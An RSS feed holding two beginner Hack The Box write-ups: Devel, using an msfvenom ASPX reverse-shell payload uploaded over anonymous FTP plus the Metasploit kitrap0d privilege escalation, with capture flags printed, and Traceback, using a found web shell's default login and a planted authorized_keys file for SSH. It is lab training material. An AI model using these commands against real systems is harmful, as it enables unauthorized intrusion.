<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Josh Kerr</title>
    <description>The latest articles on DEV Community by Josh Kerr (@joshkerr).</description>
    <link>https://dev.to/joshkerr</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F457820%2Fb951ee04-204e-4047-87b4-a4be29725860.png</url>
      <title>DEV Community: Josh Kerr</title>
      <link>https://dev.to/joshkerr</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/joshkerr"/>
    <language>en</language>
    <item>
      <title>Hack The Box write up for Devel</title>
      <dc:creator>Josh Kerr</dc:creator>
      <pubDate>Mon, 24 Aug 2020 21:17:38 +0000</pubDate>
      <link>https://dev.to/joshkerr/hack-the-box-write-up-for-devel-4dm2</link>
      <guid>https://dev.to/joshkerr/hack-the-box-write-up-for-devel-4dm2</guid>
      <description>&lt;p&gt;I've been doing some ethical hacking lately. This is my first writeup for one of the computers I hacked into (legally.) The machine I compromised is called &lt;a href="https://www.hackthebox.eu/home/machines/profile/3"&gt;Devel&lt;/a&gt; on &lt;a href="http://hackthebox.edu"&gt;Hackthebox.eu&lt;/a&gt;. I'm a beginner when it comes to ethical hacking, so please excuse my mistakes.&lt;/p&gt;

&lt;p&gt;Overall this box was fun. It allowed me to get more experience using &lt;a href="https://www.metasploit.com"&gt;metasploit&lt;/a&gt; which is really powerful. I'm totally a script kiddy with this tool.&lt;/p&gt;

&lt;h2&gt;
  
  
  Nmap scan
&lt;/h2&gt;

&lt;p&gt;Let's get started with an nmap scan.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight"&gt;&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Starting Nmap 7.80 ( https://nmap.org ) at 2020-06-21 11:26 CDT
Nmap scan report for devel.htb (10.10.10.5)
Host is up (0.074s latency).
Not shown: 998 filtered ports
PORT STATE SERVICE VERSION
21/tcp open ftp Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| 03-18-17 02:06AM &amp;lt;DIR&amp;gt; aspnet_client
| 03-17-17 05:37PM 689 iisstart.htm
|_03-17-17 05:37PM 184946 welcome.png
| ftp-syst: 
|_ SYST: Windows_NT
80/tcp open http Microsoft IIS httpd 7.5
| http-methods: 
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/7.5
|_http-title: IIS7
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 17.29 seconds

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;



&lt;p&gt;The scan shows that we've got an FTP server and a Web server running on a Windows box. Let's see what the website shows:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--VjP0rANY--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://josh.kerr.dev/content/images/2020/06/Screen-Shot-2020-06-21-at-11.28.45-AM.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--VjP0rANY--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://josh.kerr.dev/content/images/2020/06/Screen-Shot-2020-06-21-at-11.28.45-AM.png" alt="Hack the Box write up for Devel"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Looks like we've got IIS version 7 with the default page. Let's see if we can login to the FTP server with anonymous.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--rnZl17Ao--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://josh.kerr.dev/content/images/2020/06/Screen-Shot-2020-06-21-at-11.30.07-AM.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--rnZl17Ao--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://josh.kerr.dev/content/images/2020/06/Screen-Shot-2020-06-21-at-11.30.07-AM.png" alt="Hack the Box write up for Devel"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Anonymous login worked just fine. Looks like there are some files in there including what seems to be the IIS start page. Could this be the web directory?&lt;/p&gt;

&lt;p&gt;Let's see if we can upload a file to that directory:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--P4yYBKEL--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://josh.kerr.dev/content/images/2020/06/Screen-Shot-2020-06-21-at-11.32.15-AM.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--P4yYBKEL--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://josh.kerr.dev/content/images/2020/06/Screen-Shot-2020-06-21-at-11.32.15-AM.png" alt="Hack the Box write up for Devel"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--gp4oWH63--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://josh.kerr.dev/content/images/2020/06/Screen-Shot-2020-06-21-at-11.32.08-AM.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--gp4oWH63--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://josh.kerr.dev/content/images/2020/06/Screen-Shot-2020-06-21-at-11.32.08-AM.png" alt="Hack the Box write up for Devel"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--tgNMf9MV--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://josh.kerr.dev/content/images/2020/06/Screen-Shot-2020-06-21-at-11.33.13-AM.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--tgNMf9MV--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://josh.kerr.dev/content/images/2020/06/Screen-Shot-2020-06-21-at-11.33.13-AM.png" alt="Hack the Box write up for Devel"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Yes! Okay, now let's use msfvenom to create a page that we can exploit to get a reverse shell. I googled this to find the details.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--9RNblX9Q--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://josh.kerr.dev/content/images/2020/06/Screen-Shot-2020-06-21-at-11.34.00-AM.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--9RNblX9Q--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://josh.kerr.dev/content/images/2020/06/Screen-Shot-2020-06-21-at-11.34.00-AM.png" alt="Hack the Box write up for Devel"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The first link gave me what I needed. Make sure to replace LHOST with the IP of your machine.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight"&gt;&lt;pre class="highlight plaintext"&gt;&lt;code&gt;msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.26 LPORT=1234 -f aspx -o shell.aspx

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;



&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--vDqBSR5C--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://josh.kerr.dev/content/images/2020/06/Screen-Shot-2020-06-21-at-11.36.47-AM.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--vDqBSR5C--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://josh.kerr.dev/content/images/2020/06/Screen-Shot-2020-06-21-at-11.36.47-AM.png" alt="Hack the Box write up for Devel"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Now we've got a script to upload via ftp to the website. This should give us a reverse shell. First let's fire up metasploit so that we can capture the reverse shell.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--mYaZuXAw--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://josh.kerr.dev/content/images/2020/06/Screen-Shot-2020-06-21-at-11.39.49-AM.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--mYaZuXAw--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://josh.kerr.dev/content/images/2020/06/Screen-Shot-2020-06-21-at-11.39.49-AM.png" alt="Hack the Box write up for Devel"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;You'll want to use the following:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight"&gt;&lt;pre class="highlight plaintext"&gt;&lt;code&gt;use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 10.10.14.26
set LPORT 1234
exploit

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;



&lt;p&gt;Make sure to change the LHOST to point to your machine on the VPN.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--BuSg6Ruj--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://josh.kerr.dev/content/images/2020/06/Screen-Shot-2020-06-21-at-11.42.43-AM.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--BuSg6Ruj--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://josh.kerr.dev/content/images/2020/06/Screen-Shot-2020-06-21-at-11.42.43-AM.png" alt="Hack the Box write up for Devel"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;That should get you a shell on the box.&lt;/p&gt;

&lt;p&gt;Running getuid shows that we are IIS APPOOL\Web user. We want root so there is more work to do.&lt;/p&gt;

&lt;p&gt;Let's go into the shell and use systeminfo to see if we can find some exploits.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--2NZYXxba--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://josh.kerr.dev/content/images/2020/06/Screen-Shot-2020-06-21-at-11.44.36-AM.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--2NZYXxba--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://josh.kerr.dev/content/images/2020/06/Screen-Shot-2020-06-21-at-11.44.36-AM.png" alt="Hack the Box write up for Devel"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Now we need to exit the shell, background the meterpreter session and do some exploit research.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight"&gt;&lt;pre class="highlight plaintext"&gt;&lt;code&gt;exit
background
use post/multi/recon/local_exploit_suggester
set session 1
run

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;



&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--DiH72rOZ--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://josh.kerr.dev/content/images/2020/06/Screen-Shot-2020-06-21-at-11.50.50-AM.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--DiH72rOZ--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://josh.kerr.dev/content/images/2020/06/Screen-Shot-2020-06-21-at-11.50.50-AM.png" alt="Hack the Box write up for Devel"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;If you did that correctly you should see a list of expoits we can use. I had to google to see which one of these would be best. The recommendation was to use the kitrap0d, the second on the list.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight"&gt;&lt;pre class="highlight plaintext"&gt;&lt;code&gt;use exploit/windows/local/ms10_015_kitrap0d
show options

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;



&lt;p&gt;We need to tell the module which session to run on, our local host ip and our local host port.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight"&gt;&lt;pre class="highlight plaintext"&gt;&lt;code&gt;set sessions 1
set LHOST 10.10.14.26
set LPORT 1234
run

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;



&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--1POwNNil--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://josh.kerr.dev/content/images/2020/06/Screen-Shot-2020-06-21-at-12.03.39-PM.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--1POwNNil--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://josh.kerr.dev/content/images/2020/06/Screen-Shot-2020-06-21-at-12.03.39-PM.png" alt="Hack the Box write up for Devel"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;I goofed at first and left out the session. I added it and the exploit worked.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--z37KHui---/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://josh.kerr.dev/content/images/2020/06/Screen-Shot-2020-06-21-at-12.03.47-PM.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--z37KHui---/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://josh.kerr.dev/content/images/2020/06/Screen-Shot-2020-06-21-at-12.03.47-PM.png" alt="Hack the Box write up for Devel"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;If you did everything correctly you should be back at a meterpreter prompt. If you run whoami you should see:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--YrTBXf-_--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://josh.kerr.dev/content/images/2020/06/Screen-Shot-2020-06-21-at-12.04.18-PM.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--YrTBXf-_--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://josh.kerr.dev/content/images/2020/06/Screen-Shot-2020-06-21-at-12.04.18-PM.png" alt="Hack the Box write up for Devel"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Great, we own this box. Go grab the user.txt and root.txt.  I initially had some trouble remembering which windows commands to use. I eventually figured it out.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--lLfypbWb--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://josh.kerr.dev/content/images/2020/06/Screen-Shot-2020-06-21-at-12.05.06-PM.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--lLfypbWb--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://josh.kerr.dev/content/images/2020/06/Screen-Shot-2020-06-21-at-12.05.06-PM.png" alt="Hack the Box write up for Devel"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--0irEJ9e2--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://josh.kerr.dev/content/images/2020/06/Screen-Shot-2020-06-21-at-12.04.05-PM.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--0irEJ9e2--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://josh.kerr.dev/content/images/2020/06/Screen-Shot-2020-06-21-at-12.04.05-PM.png" alt="Hack the Box write up for Devel"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;User flag is:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight"&gt;&lt;pre class="highlight plaintext"&gt;&lt;code&gt;9ecdd6a3aedf24b41562fea70f4cb3e8

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;



&lt;p&gt;Root flag is:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight"&gt;&lt;pre class="highlight plaintext"&gt;&lt;code&gt;e621a0b5041708797c4fc4728bc72b4b

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;



&lt;p&gt;This box was fairly easy. Metasploit makes it pretty easy to find exploits. Figuring out which module and options is the hardest part. Google is your friend here. There are a lot of walkthroughs on this box you can use for additional help too.&lt;/p&gt;

&lt;p&gt;This box was a lot of fun. I'd recommend it to beginners like me.&lt;/p&gt;

</description>
      <category>hacking</category>
      <category>hackthebox</category>
    </item>
    <item>
      <title>Hack The Box write up for Traceback</title>
      <dc:creator>Josh Kerr</dc:creator>
      <pubDate>Mon, 24 Aug 2020 21:13:18 +0000</pubDate>
      <link>https://dev.to/joshkerr/hack-the-box-write-up-for-traceback-2coh</link>
      <guid>https://dev.to/joshkerr/hack-the-box-write-up-for-traceback-2coh</guid>
      <description>&lt;p&gt;This article is my guide for hacking traceback, one of the retired machines at &lt;a href="http://hackthebox.eu"&gt;HackTheBox.eu&lt;/a&gt;. This is my first hacking guide, so hopefully i'm doing this correctly.&lt;/p&gt;

&lt;p&gt;I enjoyed this box. It was right at my skill level and took me about two hours to complete.&lt;/p&gt;

&lt;p&gt;For &lt;a href="https://www.eccouncil.org/ethical-hacking/"&gt;ethical hacking&lt;/a&gt;, I'm using &lt;a href="https://parrotlinux.org"&gt;Parrot Security Linux&lt;/a&gt; running in a VM.&lt;/p&gt;

&lt;p&gt;To start, instead of using the target box's IP address, I created an /etc/hosts entry for it called traceback.htb. This change makes things a lot easier because I don't need to remember the IP address of the box.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight"&gt;&lt;pre class="highlight plaintext"&gt;&lt;code&gt;sudo echo "10.10.10.181 &amp;gt;&amp;gt; /etc/hosts

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;



&lt;h2&gt;
  
  
  Nmap initial scan
&lt;/h2&gt;



&lt;div class="highlight"&gt;&lt;pre class="highlight plaintext"&gt;&lt;code&gt;nmap -A traceback.htb

Starting Nmap 7.80 ( https://nmap.org ) at 2020-06-20 14:43 CDT
Nmap scan report for traceback.htb (10.10.10.181)
Host is up (0.061s latency).
Not shown: 998 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
| 2048 96:25:51:8e:6c:83:07:48:ce:11:4b:1f:e5:6d:8a:28 (RSA)
| 256 54:bd:46:71:14:bd:b2:42:a1:b6:b0:2d:94:14:3b:0d (ECDSA)
|_ 256 4d:c3:f8:52:b8:85:ec:9c:3e:4d:57:2c:4a:82:fd:86 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Help us
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.38 seconds

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;



&lt;p&gt;Pretty simple scan. It looks like web and ssh are available.&lt;/p&gt;

&lt;p&gt;Web site looks like this:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--PW5pAEmm--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://josh.kerr.dev/content/images/2020/06/Screen-Shot-2020-06-20-at-2.43.48-PM.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--PW5pAEmm--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://josh.kerr.dev/content/images/2020/06/Screen-Shot-2020-06-20-at-2.43.48-PM.png" alt="Hack The Box write up for Traceback"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Viewing source on the website reveals this:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--EiRjPC-O--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://josh.kerr.dev/content/images/2020/06/Screen-Shot-2020-06-20-at-2.47.34-PM.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--EiRjPC-O--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://josh.kerr.dev/content/images/2020/06/Screen-Shot-2020-06-20-at-2.47.34-PM.png" alt="Hack The Box write up for Traceback"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Hmm...&lt;/p&gt;

&lt;p&gt;I decided to search google for that string:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--MiSYVRiB--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://josh.kerr.dev/content/images/2020/06/Screen-Shot-2020-06-20-at-2.48.50-PM.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--MiSYVRiB--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://josh.kerr.dev/content/images/2020/06/Screen-Shot-2020-06-20-at-2.48.50-PM.png" alt="Hack The Box write up for Traceback"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;It looks like we got a hit. I'm going to see if any of those shells are installed on this server, time for gobuster.&lt;/p&gt;

&lt;p&gt;I took that list of shells from GitHub and dumped them into a text file called shells.txt. Let's see if we can find them on the server:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--tgqGq3AI--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://josh.kerr.dev/content/images/2020/06/Screen-Shot-2020-06-20-at-2.55.14-PM.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--tgqGq3AI--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://josh.kerr.dev/content/images/2020/06/Screen-Shot-2020-06-20-at-2.55.14-PM.png" alt="Hack The Box write up for Traceback"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Now let's fire up gobuster:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--ta-h1lkY--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://josh.kerr.dev/content/images/2020/06/Screen-Shot-2020-06-20-at-2.55.51-PM.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--ta-h1lkY--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://josh.kerr.dev/content/images/2020/06/Screen-Shot-2020-06-20-at-2.55.51-PM.png" alt="Hack The Box write up for Traceback"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;We got a hit!&lt;/p&gt;

&lt;p&gt;I loaded the page into the browser:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight"&gt;&lt;pre class="highlight plaintext"&gt;&lt;code&gt;http://traceback.htb/smevk.php

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;



&lt;p&gt;And this came up:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--pjWK4Rfj--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://josh.kerr.dev/content/images/2020/06/Screen-Shot-2020-06-20-at-2.57.48-PM.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--pjWK4Rfj--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://josh.kerr.dev/content/images/2020/06/Screen-Shot-2020-06-20-at-2.57.48-PM.png" alt="Hack The Box write up for Traceback"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Looking at the source code of the original on GitHub, I can see a default login embedded in code.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--eh6DSGo1--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://josh.kerr.dev/content/images/2020/06/Screen-Shot-2020-06-20-at-2.57.24-PM.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--eh6DSGo1--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://josh.kerr.dev/content/images/2020/06/Screen-Shot-2020-06-20-at-2.57.24-PM.png" alt="Hack The Box write up for Traceback"&gt;&lt;/a&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight"&gt;&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Username: admin
Password: admin

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;



&lt;p&gt;Let's try those.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--nuS56CqY--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://josh.kerr.dev/content/images/2020/06/Screen-Shot-2020-06-20-at-2.58.09-PM.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--nuS56CqY--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://josh.kerr.dev/content/images/2020/06/Screen-Shot-2020-06-20-at-2.58.09-PM.png" alt="Hack The Box write up for Traceback"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;...we are in. It looks like the current user is webadmin. After browsing around in the webadmin folder, I noticed that the /home/webadmin/.ssh folder is writable. We can upload an authorized_keys file with our key in it to gain access via ssh. Gaining ssh will be very helpful.&lt;/p&gt;

&lt;p&gt;First, let's generate an ssh key:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight"&gt;&lt;pre class="highlight plaintext"&gt;&lt;code&gt;ssh-keygen

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;



&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--wyCM6bHi--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://josh.kerr.dev/content/images/2020/06/Screen-Shot-2020-06-20-at-3.03.31-PM.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--wyCM6bHi--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://josh.kerr.dev/content/images/2020/06/Screen-Shot-2020-06-20-at-3.03.31-PM.png" alt="Hack The Box write up for Traceback"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Now let's copy the public key to authorized_keys:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight"&gt;&lt;pre class="highlight plaintext"&gt;&lt;code&gt;cp traceback.pub authorized_keys

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;



&lt;p&gt;Now let's upload it via the form on the website:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--e5yVwbTy--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://josh.kerr.dev/content/images/2020/06/Screen-Shot-2020-06-20-at-3.05.38-PM.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--e5yVwbTy--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://josh.kerr.dev/content/images/2020/06/Screen-Shot-2020-06-20-at-3.05.38-PM.png" alt="Hack The Box write up for Traceback"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Great, it took it. Now let's chmod the private key so we can use it.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight"&gt;&lt;pre class="highlight plaintext"&gt;&lt;code&gt;chmod 600 traceback
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;



&lt;p&gt;Now let's ssh into the box:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight"&gt;&lt;pre class="highlight plaintext"&gt;&lt;code&gt;ssh -I traceback webadmin@traceback.htb

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;



&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--xMsf3BFv--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://josh.kerr.dev/content/images/2020/06/Screen-Shot-2020-06-20-at-3.08.12-PM.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--xMsf3BFv--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://josh.kerr.dev/content/images/2020/06/Screen-Shot-2020-06-20-at-3.08.12-PM.png" alt="Hack The Box write up for Traceback"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;We are in!&lt;/p&gt;

